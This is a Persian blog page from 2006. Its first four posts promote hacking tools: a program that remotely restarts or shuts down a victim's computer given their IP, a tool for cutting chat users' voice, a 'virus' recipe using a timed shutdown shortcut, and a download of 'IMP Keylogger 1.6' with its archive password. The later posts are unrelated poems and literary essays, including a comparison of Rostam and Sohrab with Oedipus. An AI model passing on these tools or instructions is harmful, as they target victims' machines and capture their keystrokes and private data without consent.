سفارش تبلیغ
صبا ویژن

پرسپولیس سرور ss

 
 
برنامه Hacker remote restarter(سه شنبه 85 آذر 14 ساعت 8:37 عصر )

سلام دوستان عزیز

برنامه ی Haacker remote restartertی  برای restart و  turn offکردن سیستم طرف


این برنامه توسط آرین هکر طراحی شده است

روش استفاده:

ابتدا باید IPشخص مورد نظر را به دست آورده و در قسمت victim IP وارد کنید بعد از این کار و یکی از دو

گزینه restart و turn off  را کلیک کنید بعد از چند دقیقه عبارت not connectبهconnect تغییر پیدا میکند

حالا باز هم روی یکی از دو دکمه کلیک کنید تا سیستم طرف restartو یا log off شود.

برای downlod کلیک کنید

منبع:www.haacker.blogfa.com



 
برنامه برای offو on کردن voiceطرف(سه شنبه 85 آذر 14 ساعت 8:37 عصر )
M@hy@r_HaCker 

سلام دوستان عزیز

برنامه برای offو onکردن voiceطرف


این برنامه این قابلیت رو داره که بعد از دادن IPمیتونه voice طرف رو قطع و وصل کنه.

بدرد چت روم میخوره

VC & IP TOOls By: www.irLearn.Co.Sr

برای دانلود برنامه کلیک کنید



 
ساخت ویروس بلاستر(سه شنبه 85 آذر 14 ساعت 8:37 عصر )

سلام دوستان عزیز

ساخت ویروس بلاستر(توسط پویا)


امروز یادمیگیریم که:

ویروسی که باعث Shutdown شدن کامپیوتر در 60 ثانیه میشه...

با استفاده ازShortcut در جایی از دسکتاپ خود Right Click کنید و در بخش New گزینه Shortcut را انتخاب کنید و در بخش ظاهر شده دستور زیر را وارد کنید:

shutdown -s -t xx

توضیح: بعد از اینکه Paste کردید به جای xx در دستورات بالا مدت زمانی را بر حسب ثانیه قرار دهید تا کامپیوتر پس از آن زمان خاموش شود.

سپس Next را بزنید و برای فایل خود یک نام برگزینید و کار تمام است!!.

برای پادزهر درست کردن برای این ویروس هم میتوانید از دستور زیر استفاده کنید:

shutdowna

یعنی دوباره با استفاده از Shortcut در جایی از دسکتاپ خود Right Click کنید و در بخش New گزینه Shortcut را انتخاب کنید و در بخش ظاهر شده دستور زیر را وارد کرده واجرا کنید وویروس ساخته شده غیرفعال می شود.

منبع:www.worldhacker.blogfa.com

 

 



 
یک keylogger خیلی قوی(سه شنبه 85 آذر 14 ساعت 8:37 عصر )
 

سلام دوستان عزیز

این هم یک key logger  خیلی قوی


این key logger رو از وبلاگ دوست عزیزم آقا رضا آوردم 

این key logger به زبان برنامه نویسی دلفی که مخصوص این جور چیزاست طراحی شده است

IMP Keylogger 1.6

ZIP Password: terabit.blogfa.com
Size: 743 KB
Download

منبع:www.terabit.blogfa.com



 
قصه تمام نیست(یکشنبه 85 آذر 5 ساعت 12:45 عصر )
 
جمعه??بهمن???? 
 
 
 
قصه تمام نیست
یلدایی گذاشته ام زیر زبانم
دانه ای انار قرمز
 
 
قرمزی تمام هندوانه ها سهم اتل متلهایی که در خیابانها تصادف کرد
یکی بودیکی نبودهایی که زیر چرخ ماشینها له شد
وجادوگران بی افسونی که در پیاده روها راه افتاد
با باری از نایلونهای گوجه فرنگی وبادمجان
وهفت تیر خوش دستی در جیب کت
شایدبی خیال ننه دریا
سیریاسیریا
زهرها وشلیک ها
امروز تمام کلاغه هابه خانه رسیده اند
وهر شام سمی میتوان با یک رمان پلیسی زندگی کرد و
بعد مرد
یاد مسیحی به اسمان
اسمان بی زهره و
خدایانی که نبخشیده اند هنوز
 لالایی هایی که به هم بدهکاریم    
لالالالا گل پونه    دنیا اینجور نمیمونه
 
 
ماند وماندیم توی خانه هایی که همیشه کوتاهتر از دستهای هزارویک شب اند
هزارویک شب است
من اب دهان شهرزادی را قورت میدهم
که می چرخاند خورشید را درهوا
یاد بادبادکهای هفت سالگی
هفت ساله بودیم که جنوب شرجی بچه های خواب رفته اش را باد میزد
اتل متل توتوله    دنیای ما چه جوره
 
 
قصه تمام نیست
شهرزادی گذاشته ام زیر زبانم
درناهای خلیج و
حبه قندی بی چای و قلیان


 
آبی بخندی(یکشنبه 85 آذر 5 ساعت 12:45 عصر )

 چهارشنبه??بهمن????

 

سبزی سبزه و لالایی نسیم

تو همیشه ابی بخندی

ای سرخ

که اسمان شکوفه ی کوچکی است

در برابر پیشانی بلند تو



 
روز ادبیات(یکشنبه 85 آذر 5 ساعت 12:45 عصر )

به مناسبت بیست و هفتم شهریور ماه روز ادب و شعر



دوشنبه??بهمن???? 

 

 

 

آدمى آفریده خداست و ادبیات آفریده آدمى. شاید به این خاطر است که کانون نویسندگان براى نوشتن «به نام خدا» مشکل دارد. هر آفریده و آفرینشى براى خودش تاریخى دارد. ادبیات نیز که عالى ترین درک آدمى از آفرینش است تاریخى به اندازه عمر آدمى دارد. یا تاریخى به اندازه عمر نا معلوم خدا. مگر نه اینکه در سطر نخست انجیل یوحنا نوشته شده است: در آغاز کلمه بود/ و کلمه نزد خدا بود... حالا کلمه نزد ماست اما ببینیم این کلمه چگونه پاس داشته مى شود.ادبیات در گذر روزهایش ترکیبى با تاریخ ساخته است که در رشته ادبیات هنوز سنتى و سنگ مانده! به اسم تاریخ ادبیات پاس مى شود، ولى این پاس هیچ وقت گل نمى شود! کپى نویسى هاى این تاریخ هم که شده کار گل! این تاریخ فرزندان بى شمارى را در گهواره و گور ورق هایش خوابانده است. فرزندان با شناسنامه و بى، که فقط روز تولد و مرگ و قرنشان آن هم به قمرى مهم شده است. فرزندان بزرگى که محکوم اند به پشت میله هاى سطرهاى تاریخ ادبیات! فقط تعداد معدودى از این نام ها آزاد شده اند، آنها هم به صورت توفیق اجبارى! کى بها مى دهد؟ مگر اینکه باز- مثل ادبیات کلاسیک- خارجى ها بیایند و به داد معاصر برسند.
معاصرى که هیچ جایگاه خاصى در تحصیلات آکادمیک ندارد، چه به صورت نقد ادبى- ادبیات خلاق- ادبیات تطبیقى و چه به صورت هر لولویى! که این تنعم زدگان راحت طلب بى مطالعه سنت زده سنگ شده! (تتابع اضافات دارد) مثل بچه اى از آن مى ترسند. به هرحال خود این ادبیات، به طور کلى فرزند آرام و بى گلایه اى است که از خودش شناسنامه ندارد. مثل اسطوره اى آفرینش آدمى نه روز تولدش معلوم است، سال وفاتش هم که خط تیره ولى همین تیرگى سطرهاست که بالاتر از روشنى خورشید نشسته است. نشستنى که مثل نشست هاى مسئولان اول شخص مفرد، دوم شخص و چهاردهم شخص مفرد و... به خواب نیمروز تابستانى بیشتر شباهت دارد تا به آماده شدن دونده اى براى دویدن. براى همه ادبیات- چه شعر و چه داستان و چه هر نثرى که از ادبیات مایه مى گیرد- دونده اى نیست تا مشعلش راه و روزى خاص و واقعى برافروزد و افرازد. افروختن این مشعل همه شمول زحمت زیادى مى خواهد، چرا که بى زحمت و ناشیانه که خالى از جنبه هاى ادبیات مدح و متعهدگونه نیست، از یکى دوسال به این طرف روزى را در تقویم- ذکر نکردن آن سنگین تر- به نام روز شعر جا دادند!اما آیا ادبیات ایران فقط شعر خالى است و مگر این تقویم پر از تعطیلى غیرایرانى چقدر جاى خالى دارد که شاخه هاى دیگر ادبیات نیز هرکدام به طور جداگانه روزى داشته باشند. تازه روز تولد این شاعر آیا در حد و اندازه هاى این روز لطیف است؟ شاعران بزرگ کجا رفته اند، براى گل چیدن یا گل لگد کردن! این روز با توجه به سه حرفى بودن شعر، بزرگ تر و پرحرف تر از شهریار شش حرفى است. به درستى که شاعران آزاد و بى ادعاى معاصر این بوم که همیشه هیچ، انگار شاعران بزرگ کلاسیک اش نیز مرده اند چرا که آنها نیز- اگر حقى باشد- از حق خودشان که شایسته این روزند دفاعى نمى توانند بکنند!از این حق و نا ها بگذریم که این حرف ها همه مقدمه اى است براى حرفى تازه و دیگر بیاییم صادقانه، به دور از دسیسه هاى سیاست و تعهد، در این تقویمى که مثل اتوبوس شرکت واحد کم کم صندلى هایش دارد پر مى شود و فقط سالى یک بار در ایستگاه هاى خاص خودش چند لحظه اى توقف مى کند، تابلویى مجاز - نه غیرمجاز- براى ایستگاه ادبیات نصب کنیم، تا در این ایستگاه یک روزه چند لحظه اى براى این مسافرى که همه نام ها را در کوله بارش دارد توقفى داشته باشیم. سوارش کنیم- اگرچه جایش بر چشم ماست- از او تجلیل و به بزرگى و بزرگ بودن و ماندنش در دنیا نازش و افتخار. این احترام شایسته جاى دورى نمى رود، اگرچه از سطر و خط هاى مرزمان مى گذرد.به هرحال، تا حال که براى این مسافر خسته از نفس افتاده بى عصا حتى جایى براى سرپا ایستادن نیست، وگرنه جوانان نجیب و غریب این بوم آنقدر نزاکت و ادب دارند که صندلى خودشان را به این مسافر غریب وامانده بسپارند. به خدا من این مسافر را دیدم که هفته پیش پول هایش را مى شمرد و تا سرماه برایش فقط هفت هزار تومان مانده بود! او کارش از هشتش گرو نه گذشته بود! به خدا من این مسافر را دیدم که براى بیدار نشستن ها و بالا رفتن شیشه عینک چشمانش مدام پله هاى انتشاراتى ها را بالا مى رفت و در آخر دو هفته پیش شنیدم که شنید: این کار فروش نمى کند! چاپ نمى کنیم! آیا چنین آدمى تجلیل مى خواهد.نه نمى خواهد! آرى شما راستگوتر هستید. بیاییم اگر همتى باشد اگرچه نه تقویمى- که این کار فقط از کانون نویسندگان بر مى آید- روز قیام براى ادبیات داشته باشیم. در این روز و هر روز بیشتر از آنکه به فکر مرده هاى خوشبخت باشیم کمى به زندگان بدبخت فکر کنیم. بى خود نیست که در دهان ها افتاده است، ما ملت مرده پرستى هستیم. سووشون و سوگ هاى دیگر مثل این جمله هدایت «تنها مرگ است که دروغ نمى گوید.» لااقل دست این مرده در ادبیات از همه جا بالاتر است.

بزرگداشت هاى پاره پاره تقویمى- حافظ، سعدى، خیام و...- همه جاى تقدیر دارند اما اگر اینان سهم و حق بزرگى دارند، آیا باید سهم و حق آنانى که در پله هاى پایین تر قرار دارند فراموش شود؟!براى قیام به خاطر همه ادبیات- چه معاصر و چه غیر، چه شاعر و چه داستان نویس- این سرزمین روزى خاص که به هیچ کس برنخورد پیشنهاد مى شود- نظر شخصى است و دیگران صاحب نظر هستند- روزى که- در حقیقت شبى که- نمادى از ادبیات شفاهى است. مگر نه اینکه در این شب که حالا کمرنگ شده، مادر و پدر بزرگ ها براى نوه ها تا پاسى از شب داستان مى گفتند و شعر مى خواندند. آیا درازترین شب سال از زاویه اى، به صورت ناخودآگاه یادگار و نمادى از تا دیر وقت نشستن هاى شاعران این شعرها و نویسندگان داستان ها نیست؟ روز ادبیات در شب یلدا فقط ترکیب قشنگى است وگرنه مى دانیم که گره کور نویسندگان این بوم و بر، با چنین روزى نیز باز نمى شود. احمد شاملو چه خوب گفته است: از انسان که تویى قصه ها توانم ساخت/ غم نان اگر بگذارد...خبرنامه گویا

 

 



 
نقد تطبیقی(یکشنبه 85 آذر 5 ساعت 12:45 عصر )

 

 

 شنبه3?تیر 1385

013344.jpg

 

 

فروید نام آشنایی است با عقده اودیپش و اودیپ نا م آشنایی است برای اهل قلم. اودیپ کیست و از کجا آمده است؟ او که به نفرین خدایان گرفتار است با دودمانش. جایی که شگفت ترین حادثه تاریخ رقم می خورد تا بعدها جنجالی ترین نظریه روانکاوی از ذهن مردی دیگر بگذرد و او برای همیشه روانکاوی را مدیون خودش کند و همین طور تاریخ ادب و علم ورق می خورد و هر چیزی به کسی مدیون است و هر کس به چیزی. آیا این گونه، رستم مدیون فردوسی است؟ و یا فردوسی مدیون رستم؟ و یا ما مدیون هر دو؟! داستان های پدر و پسرکشی نمونه های فراوانی در تاریخ دارند که شهره ترین آنها رستم و سهراب و اودیپوس است. محققی انگلیسی به نام پاتر هشتاد قصه از این داستان ها را در بین اقوام و قبایل مختلف یافته و آنها را با یکدیگر سنجیده است. با این وجود رستم و سهراب و اودیپوس با وجود وارونگی پدرکشی و پسرکشی تفاوتی دیگر نیز دارند. تراژدی رستم و سهراب با مرگ سهراب جوان پایان می یابد. اما تراژدی اودیپوس تازه بعد از پدرکشی آغاز می شود. فروید نام نظریه خود را یافته بود و انگار که هیچ، به یقین آدمی را رهایی از تقدیر نیست جز آنکه خودش را نابود کند و بی شک این نابودی خود، تقدیری بیش نیست.

مادر خودش را به دار می آویزد. پسر خودش را کور می کند تا راهی تقدیری دیگر یعنی تبعید شود، تا نمایشنامه دوم سوفوکلس شکل بگیرد و ادامه یابد...اما سهراب و عقده اودیپی که هم بر او مصداق دارد و هم ندارد. سهرابی که فقط به خاطر لذت یک شبه و گناهی شیرین متولد می شود تا تراژدی زندگی اش تا ?? سالگی ادامه یابد و عاقبت با خنجری از جانب پدر که نماد جنسی دارد بمیرد و مردنش طوری باشد که بیشتر از آنکه بر نامردی دنیا و آدم هایش تف بیندازیم، بر جان کندنش اشک بریزیم، تا فردوسی هم مجبور باشد به خاطر تسلای دل خوانندگانش، یا به خاطر تحریفی! صورت گرفته بنویسد، آن هم در  آخرین بیت

???? یکی داستان است پرآب چشم\دل نازک از رستم آید به خشم

تقدیر در سهراب هم حرف اول را می زند. اسب رستم بی خودی در شکار گور، گم و گور نمی شود. دل رستم بی خودی قبل از شکار غمگین نیست:

غمی بد دلش ساز نخجیر کرد\کمر بست و ترکش پر از تیر کرد.

و سهراب بی خودی در حالت مرگ نمی گوید

از این خویشتن کشتن اکنون چه سود\چنین رفت و این بودنی کار بود!

آنچه بودنی است باید کار خودش را انجام دهد وگرنه رأس هرم دنیا و آخرت اشکالی دارد و یا اصلاً نیست. رستم خویشتن خویش را می کشد. سهراب را. نطفه ای را که در حالت مستی بسته بود. یعنی نفس خطاکار و شهوت اسیر خود را. و در این جا حتی فرافکنی می کند. دیگری را به تاوان گناه خود می کشد و حال آنکه خارج از دیدگاه این نوشته از نظر حقوقی سهراب خود مرد دیگری است. حق دیگری.از تقدیر که بگذریم و نگذریم، تقدیر بالاترین چیزهاست و همیشه یاران فراوانی دارد. اودیپوس که از طرف پدر و مادر بر کوه کیتاریون رها شده است، توسط چوپانی نجات می یابد و بزرگ می شود و تلاش های سهراب نیز برای شناختن پدری که نامش را هم می داند بی نتیجه می ماند. سئوال از هجیر و کشته شدن زند رزم. اودیپوس که از سرنوشت شوم خود آگاه است با تقدیر به مبارزه برمی خیزد تا از پدر و مادرش فرار کند. اما تقدیر درست او را سر راه واقعه قرار می دهد. در راهی پدر را می کشد و بعد نزد مادرش می رود. سهراب از سرنوشت شوم خود آگاه نیست و به سمت پدرش می شتابد، حال آنکه از نگاهی فرویدی مادرش را در تصاحب خود دارد و شاید همین تصاحب مادر و نبود پدر باعث شده است که از ابتدا سهراب در خودآگاهش به دنبال به شاهی رساندن پدرش باشد نه کشتنش. ولی در ناخودآگاهش که فروید بر آن تاکیدهای فراوانی دارد باید براساس عقده اودیپ درونش با پدرش به مبارزه برخیزد و برمی خیزد. و در آخر یک وارونگی در عقده اودیپ فروید رخ می دهد و آن اینکه به جای پدر _ پسر جان می بازد. و این گونه آیا تحریفی در ذهن قهرمان ساز فردوسی رخ نداده است. مگر نه اینکه در کشتی اول زور پسر بر پدر می چربد و او را به زمین می زند و بعد پدر با فریبی از چنگ پسر رها می شود:

??? به کشتی گرفتن برآویختند\ز تن خون و خوی را فرو ریختند\بزد دست سهراب چون پیل  مست\برآوردش از جای و بنهاد پست\به کردار شیری که بر گور نر\زده چنگ و گور اندر آید به سر\نشست از بر سینه پیلتن\پر از خاک چنگال و روی و دهن\یکی خنجری آبگون برکشید\همی خواست از تن سرش را برید\به سهراب گفت ای یل شیرگیر\کمند افکن و گرد و شمشیر گیر\دگرگونه تر باشد آیین  ما\جزین باشد آرایش دین ما\کسی کو به کشتی نبرد آورد\سر مهتری زیر گرد آورد\نخستین که پشتش نهد بر زمین\نبّرد سرش گرچه باشد به کین \گرش بار دیگر به زیر آورد\ز افکندش نام شیر آورد\??? بدان پاره از چنگ آن اژدها\همی خواست کاید زکشتن رها

آیا فردوسی عین همین فریب رستم ما را فریب نداده است؟ فریبی که در این یازده بیت حتی دوستداران رستم نیز از او نمی پذیرند. رستمی که باید پایان می یافت اما ذهن خودآگاه فردوسی دریک کشتی شبانه بر ذهن ناخودآگاهش برتری یافت تا رستم نامی نامی تر شود و با حیله ای بماند برای ادامه کتاب فردوسی که باید سترگ تر از کار در می آمد. سوفوکلس نیز به گونه ای دیگر داستان اودیپ خود را ادامه می دهد. اودیپ خودش را تبعید می کند و دخترانش آنتگینه و آیسمنه او را باز می یابند و همراهی می کنند تا عقده الکترا در دختران نیز مصداق پیدا می کند و پسرانش اته اکلس و پولونیکس در شهری که گورمادر آنجاست می مانند و برای تصاحب مادری بزرگ تر مام میهن و سرزمین باهم می جنگند تا باز عقده اودیپ فروید به نوعی دیگر در داستان سوفوکلس حقیقت خود را به نمایش بگذارد. بارها به یادم آمد اگر فردوسی کتاب خود را با پهلوان پسر به جای پهلوان پدر ادامه می داد، کار چگونه از آب در می آمد: پهلوانی نو با ذهنی نو. و تداوم پهلوانی از پدر به پسر در ذهن هر خواننده ای این گونه شکل می گرفت که ایران هیچ وقت از پهلوانانی که از نسل رستم هستند خالی نمی شود. پسر به جای پدر، پسر به جای پدر و پسر به جای پدر ... و این گونه هر ایرانی در طول تاریخ به پهلوانی زنده و اسطوره ای در میهن اش افتخار می کرد مثل نجات دهنده  ای در دین ها. سوشیانت، مهدی و حضرت مسیح!! ولی اینجا همیشه سنت و بنیاد بر تجدد پیروز است آن گونه که محققان گفته اند.

اما شاید ذهن فردوسی زیرک تر از یاد من است چرا که با تداوم نسل رستم دیگر عرب و غیرعربی پا به این خاک نمی گذاشت. مغولی برای ما معنای غول نداشت و ...

سهراب مرد و حالا هم هر روز سهرابی می میرد و حالا هم که کار جور در نمی آید و این در و تخته به هم نمی خورد. اودیپ را کمی رها می کنم تا به ذهنی مجرد که از سهراب و رستم دارم، برسم. می رسم و سعی می کنم گذرا بگذرم. عین رستمی که به تهمینه رسید و پگاه مهر ه ای از بازو برای یادگاری و نشان به زن یک شبه داد تا بر بازو، و موی دختری و پسری بندد و بدوزد و انگار این زن یک شبه علم غیب دارد که از پوری سخن می گوید و علم غیب نیست که آرزو و رویای واقعی است که به زبان می آید. آرزو و رویای هر زن ایرانی از زبان تهمینه.تهمینه ای که در رویاهای خود به دنبال مردانگی رستم است و این تفاوت غریبی است که بین رویای تهمینه و رویای زنان امروز است. گویا مردانگی امروزه در جیب شلوار و پالتو و دسته چک ها پنهان شده است. تا جایی که براساس تحقیق جنجالی روانشناس «دیوید باس» اغلب زنان در وهله نخست به اقتصاد جفت اهمیت می دهند. اما ببینیم تهمینه از رستم چه می خواهد:

?? نجستم همی کتف و یال و برت\بدین شهرکرد ایزد آبشخورت

تهمینه تنها در جست وجوی نیروی رستم است. پسری می خواهد شبیه پهلوان تا رویاهای رستم را در آن پسر خلاصه کند. درست چون «آنت» جان شیفته رومن رولان که شبی بی خود و دل از دست داده هم آغوشی می کند و بعد از آن شب تمام زندگی اش را به پای تنها پسرش می ریزد و سهراب تنها پسری که جان تهمینه بود، و برای او حتی خود رستم بود از کف می رود. آفرین  که فردوسی چقدر استادانه سوگ تهمینه را به تصویر کشیده است. تهمینه زلف تابداده خودش را می کند.

بر ماهروی خود سیلی می کوبد، از دیده آب خون می ریزد. حتی گوشت بازو می کند و از دهان خود ناله و مویه سرا می دهد. تهمینه در این تصویرها زیبایی گل مانند خودش را پرپر می کند. همان زیبایی ای که فردوسی از تهمینه در آغازگاه آن شب کذایی توصیف کرده بود. جالب اینکه به دندان همه گوشت باز فکندا... در این سوگ توبه  حماسی _ فلسفی _ تهمینه اتفاق می افتد و این قدر بر این توبه می نشیند تا عاقبت سالی بعد پاک شده می میرد و دفتر تراژدی اش بسته می شود. تراژدی گناه. و در این توبه تهمینه برتر از رستم است آن گونه که در پایان خواهیم گفت و دریغ که رستم ناپدر جسد سهراب پسر را از تهمینه مادر می گیرد و مادر بی جسد پسر بوسه بر سر و روی و سم اسبش می زند. جامه ها و وسایل رزم پسرش را در آغوش می کشد. راستی چرا؟! چرا که از دیدگاه مردسالارانه ایرانی و فردوسی و رستم، تهمینه بعد از زاییدن دیگر عددی نیست و نیست تهمینه ای جز اینکه شبی در آغوش مست رستم باشد برای زاییدن پسری تا تراژدی فردوسی را رقم بزند و حال آنکه رستم خود عددی نیست برای سهراب.

سهرابی که همه از آن تهمینه است، خود تهمینه است، که تهمینه، جوانی، زیبایی و زندگی اش را به پای آن می ریزد و بعد هم نابود می کند. کشتن تنها ما را نسبت به رستم خشمگین نمی کند، بلکه پدر نبودن رستم و ناشایستگی اش خشمگین ترمان می کند. پدری که زن! و فرزند آینده اش را رها می کند و دنبال زندگی خودش می رود. سهراب از نظر عاطفه پدر _ پسری از آن رستم نیست و فقط از آن تهمینه مادر است و تنها تهمینه حق دارد که بر جسد خونین پسرش سهراب سوگواری کند و او را به خاک بسپارد نه رستم، آن هم در سرزمینی دیگر و نه ایران. رستم ایرانی به سهراب چه داد جز آنکه زندگی را از او گرفت و فردوسی حتی این حق خاکسپاری را از تهمینه گرفت و به رستم داد. رستم مردی که با توجه به فریب دادن سهراب،  آدم شک می کند که نکند سوگواری و حتی اقدام به خودکشی اش فریبی بیش نیست. چه قبول و چه ناقبول سهراب پسر رستم نیست مگر از دیدگاهی سکسوالیته و زناکارانه. سهم رستم از سهراب فقط لذت همان شب است. ولی سهم تهمینه چیز دیگری است حتی بالاتر از دوازده سالگی سهراب. و باز فردوسی تا ابد از زن در کتابش می نویسد:زن و اژدها هر دو در خاک به\جهان پاک از این هر دو ناپاک به

همین دیدگاه سکسوالیته و زناکارانه مرا بر آن داشت تا فکر کنم که کشتن سهراب به نوعی مجازات گناه آن شب رستم و تهمینه بود. مسیح از هفت گناه بزرگ سخن می گوید و شهوت یکی از آن هفت گناه است.

از هر شاهنامه خوانی بپرسی آیا کار رستم و تهمینه شهوت شبانه ای در حال مستی بوده است یا نه، چه خواهد گفت؟! شما چه طور؟! گروهی متعصبان خواهند گفت مگر کوری برای خواندن بیت های ?? - ?? خودت اگر قاضی نیستی کلاهت قاضی که می تواند باشد! پس دوباره بخوان:

?? بفرمود تا موبدی پر هنر\بیاید بخواهد ورا از پدر

چو بشنید شاه این سخن شاد شد\به سان یکی سرو آزاد شد\به آن پهلوان داد مر دخت خویش\بر انسان که بودست آیین و کیش\ز شادی بسی زر برافشاندند\ابر پهلوان آفرین خواندند

این چه عروسی است که رستم در حالی که مست است آن هم ظاهراً نیمه شب موبدی را فرا می خواند خواستگاری می کند. نامزدی می کند و همان شب سوروسات عروسی هم سر می گیرد. حتی بیت آخری  نشان می دهد که جشن شلوغی بوده است آن هم در نیمه های شب که همه مست خواب هستند.

•پرسیدش از خواب و آرامگاه

و حتی بی شرم تر داماد را روانه می کند و از او نمی پرسد آیا زنش را همراه خودش می برد یا نه و این گونه و به هر گونه رستم در کمال نامردی زنش را همراه خودش نمی برد.

یا نزدیک تر که فردوسی با تراژدی پسرکشی می خواهد درون آلوده به گناه و پلید رستم را تصفیه کند و مگر نمی شود که می شود تا علاوه بر خواننده، شخصیت خود تراژدی نیز در تراژدی اش پالایش یابد.

مگر نه اینکه یکی از اهداف تراژدی پالایش روح و روان است، فردوسی رستم را در پایان به خاطر گناهی که مرتکب شده است پالایش می دهد و پالایش رستم آن گونه است که از میوه شهوت و لذت خودش انتقام می کشد، تا لذت یک شبه همیشه برای دهانش تلخ باشد. مگر نه اینکه در جنگ دهانش کف کرده بود و پر از خاک بود و خاک در دهان پهلوانی که زنی را آبستن کند و رها کند. و بدتر آنکه اگر آن زن از سرزمین دیگری باشد. حتی آوردن بیت های الحاقی نشان می دهد که دوستداران فردوسی و رستم این کار را از پهلوان نمی پذیرند.

مجتبی مینوی هم در مقدمه رستم و سهراب می نویسد که به احتمال قریب به یقین ادبیات ??-?? الحاقی است و از آن فردوسی نیست. فردوسی نیز «به راز» را در بیت ?? بی خودی نیاورده است:

چو انباز او گشت با او به راز\ببود آن شب تیره دیر و دراز

به راز اگر چه هم خوابگی دونفره را می رساند اما پنهانی و در پرده بودن این عمل را نیز نشان می دهد. حتی حذف بیت های ??-?? ارتباط منطقی بین بیت های ?? و ?? را به هیچ وجه ناقض نمی کند.

?? چو رستم بر آنان پریچهره دید\ز هر دانشی نزد او بهره دید\?? و دیگر که از رخش داد آگهی\ندیدایچ فرجام جز فرهی...

?? به خشنودی و رای و فرمان او\به خوبی بیاراست پیمان او

در بیت های بعد که سهراب نامتعارف گونه بزرگ می شود نام پدرش را هنوز نمی داند. اگر این هم آغوشی بنا به عرف معمول صورت گرفته  باشد نیازی به پنهان کردن نام پدر نیست. هر چند فردوسی عمل تهمینه را توجیه می کند که تهمینه می ترسد پدر پسر را بگیرد، اما از تهمینه که بگذریم در این دوازده سال همسایه ای، دوستی، خویشی در کوچه و در خانه ای با سهراب هم صحبت نشده است تا برای سهراب از عروسی یک شبه پدر و مادرش بگوید؟ مگر اینکه تمام مردم شهر از تهمینه تنها شده حساب ببرند!!...  روزنامه ی شرق                                                 

  بخش دوم در ماهانه ها اسفند ?? 

 




 
چشمهای تو(یکشنبه 85 آذر 5 ساعت 12:45 عصر )

 

یکشنبه ??خرداد????

 

 

 

 

چشمهای تو

چشمهای تو

چشمهای تو

چشمهای تودررویا با من عروسی کرد

چشمهای تودررویا با من پیرشد

چشمهای تودررویا با من مرد

این مرده می تواند دختری باشد که می تواند با آهنگ بندری برقصد

قشنگ

که می تواند رفته باشد گل بچیند

برهنه

که سوارقالی سلیمان نامش بلقیس

بلقیس که حرف آخرش او ل حرف عا شقش می با شد

سین!که سکوت توعذابم داده است

جیم !که جوابش را نمی دانم

سکوت !سکوت !سکوت!

شبیه سیبی که یوا شکی می گذاری توی خوابم

اندازه ی قرمزی روی ناخنهایت

بغض آ دم وحوا

 

 

 

 

سین و سکوت وسیب من !

بلقیس من !

مراقب خودت باش

من هستم

مگر نه وقتی می نوشتمت زیر چشمانم

چتری هدیه ات می دادم

بفرمایید   قابل شما راندارد !

بازش می کردی و می گرفتی بالای سرت

سری که حالا باد موهایش را می کشاند پشت شیشه های تابستان شهر

کنار دخترانی که همه می توانند بندری برقصند قشنگ

یا بروند گل بچییند برهنه

یا دفتر مشقشان را پاره کنند در راه مدرسه

مشقهایی که دورترها

روی هر پاره ورقش

من سلیمانی هستم بی بلقیس

وتو بلقیسی هستی بی سیب

 



 
لای موهایت نور(یکشنبه 85 آذر 5 ساعت 12:45 عصر )

 

شنبه??اردیبهشت????

 

 

 

 

 

 

اتفاق افتاده بود ساده

ساده انگار تلفن می زنی به همکلاسی ات برای احوالپرسی

احوالت را که می پرسم خوبی!

می توانی بلند شوی

گشتی بزنی دورحیاط

مثل دوچرخه سواری دوران بچگی

بروی لی لی بازی

خط بکشی دفترکوچه ها را

بعد بیایی نفس زنان بیفتی پای درخت گوشه ی حیاط

سبز شوی وبروی بالا

بالاترازانگست های من

حالا پیچکی هستی روی آخرین شاخه ها

آخرین ستاره

شکوفه ی درخت آسمان

لای موهایت نور

آفتاب پله پله  شاخه شاخه پایین می اید توی جنگل های شمال

 

 

 

 

 

 

 

درختی می کارم پانزدهم اسفند

می بینی شکل ساده ات هستم

که نگاه فرشته ها رادنبال خودت می کشی

گلهای آفتابگردان را

به همین سادگی

سادگی بچگی از یادم نرفته بود

که دیدمت اقدسیه

کهکشان راه شیری افتاده بود وسط پیشانی ات

خنده ی دختر بچه ی می دوید از خم کوچه

روی نک پا

خداگم شده بودو

پیداشده بودتوی چشمهایت

... راببندوآرام بخواب

بارانها بند می ایند

به همین سادگی

 

 

 

 

به همین سادگی

تلفن بزن واحوالم رابپرس

زنگ    زنگ    زنگ

بله!

سلام!

ای    حالم خوب است!

فقط کمی بچه شده ام

بادیدن سایه ی از بچگی ات از خم کوچه

روی نک پا

می ایی برویم خط بکشیم دفترکوچه ها را

کوچه ها پراند ازاتفاقات ساده

ساده انگار تلفن می زنی به همکلاسی ات

 برای احوالپرسی ...

 

 

 

 

 



<      1   2   3   4   5      >
 
لیست کل یادداشت های وبلاگ?
 




بازدیدهای امروز: 5  بازدید

بازدیدهای دیروز:0  بازدید

مجموع بازدیدها: 21637  بازدید


» آرشیو یادداشت ها «
» اشتراک در خبرنامه «